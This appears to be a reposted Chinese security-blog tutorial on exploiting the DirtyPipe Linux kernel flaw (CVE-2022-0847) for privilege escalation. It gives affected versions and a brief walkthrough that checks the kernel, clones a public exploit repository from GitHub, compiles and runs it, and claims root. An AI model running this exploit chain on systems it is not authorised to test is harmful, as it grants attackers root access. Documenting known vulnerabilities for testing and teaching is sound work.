Linux提权(八)CVE-2022-0847 内核提权

admin 2024年2月15日22:35:52评论7 views字数 362阅读1分12秒阅读模式

漏洞说明

DirtyPipe (CVE-2022-0847) 是自 5.8 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。

漏洞影响范围

Linux内核5.8及以后的版本。该漏洞已在Linux 5.16.11、5.15.25 和 5.10.102 中修复

漏洞复现

查看内核版本,发现此版本存在该漏洞

uname -a  # 查看系统内核版本

Linux提权(八)CVE-2022-0847 内核提权

下载exp到服务器上进行执行

git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.gitcd CVE-2022-0847-DirtyPipe-Exploit/./compile.sh./exploit

Linux提权(八)CVE-2022-0847 内核提权

成功获取到root权限

原文始发于微信公众号(渗透笔记):Linux提权(八)CVE-2022-0847 内核提权

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日22:35:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux提权(八)CVE-2022-0847 内核提权http://cn-sec.com/archives/2497116.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息